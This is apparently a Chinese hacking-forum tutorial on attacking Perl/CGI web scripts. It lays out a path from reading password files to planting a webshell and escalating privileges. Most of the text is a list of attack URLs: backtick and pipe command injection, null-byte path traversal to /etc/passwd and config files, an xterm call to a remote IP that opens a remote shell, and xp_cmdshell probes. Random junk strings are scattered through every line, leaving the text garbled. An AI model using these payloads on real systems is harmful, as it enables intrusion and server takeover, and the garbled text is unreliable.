总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 6 q1 v( W5 R8 z
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
0 {1 l$ e2 A7 ?. V感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ( O2 i0 [/ o* @% K- K; F
注“ : A( b4 Q1 L& g9 t
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
: |, M- l) C, L以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET . J# i: T( V3 _& _
# q2 O3 o' W/ b; M
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
8 q& Y' k2 z5 J' e$ Khttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 2 q* C6 p( y; D' ?% z* m3 K
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
1 h/ G: U3 l7 s: ahttp://target.com/cgi-bin/home/news/sub.pl?`id`
$ L! A7 |. f* v |1 `# D( q# [http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` , r' }: h/ f2 a* U- b, g
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
: U0 |, O' |' c8 y* |
- \9 P8 ?" x( f2 _1 z+ ^http://target.com/test.pl;ls| / l9 [" M3 t4 n$ T+ {" k& g$ V: P6 `
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ; ?* ^' _( v: {4 F
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ' P/ A0 s) V8 u/ }1 E/ u
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
4 N* ~: V! Q$ i2 B' a比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
2 t# A1 k& d$ l2 |" w N0 chttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
6 g. c1 d& a! _0 w! S+ |2 @$ F; d' O: `0 `/ {
http://target.com/test.pl?&........ /../../etc/passwd 2 G- B, q% L* f( t% Z$ w N/ T
( C, a4 W: Q: i& Y5 z, }. {- y% _http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 3 s1 V0 P% j% f6 ` |3 u2 H- ^
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 , ^- ]1 z$ q$ @3 O4 C( u" r
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 $ w6 q* f7 N6 w' J
8 h8 R, b, s! Q4 i3 {( Z9 Fhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 % O' }, m" E% o2 P* h/ N8 G
http://www.target.org/show.php?f ... ng/admin/global.php . Z. I/ O3 }$ H! X" y* t- j1 S
9 f1 y8 u9 g9 w! [+ t4 Zemm和ps的一句话& D! C5 k7 Z. [+ l
6 _9 `3 R& ? {& l. c' ?, b2 a
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
N1 T8 m' _- e+ p6 A, K7 B" s4 Z# \" W( |9 R
>bbb%20| 6 D, t6 o, q6 @+ ~0 k x) {$ T0 b
5 I+ m7 A' J0 b) g
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 $ `9 j) | s. @. \8 ^
0 ^* x% T8 D6 R3 \* f& [
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 # B6 T$ ]" r" i1 x5 I
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin ! F) G, W: t. }, N/ E" m8 p. ~
! c5 `* T$ O4 c8 q8 v* w2 z [相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
3 s4 z% F6 H7 {$ c" d: N8 Whttp://target.com/index.html#cmd.exe : n* w3 p8 n4 g
http://target.com/index.html?dummyparam=xp_cmdshell ( G2 ~. s6 l: \+ t& e# A
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd * s/ ?& Z- z/ B5 f
|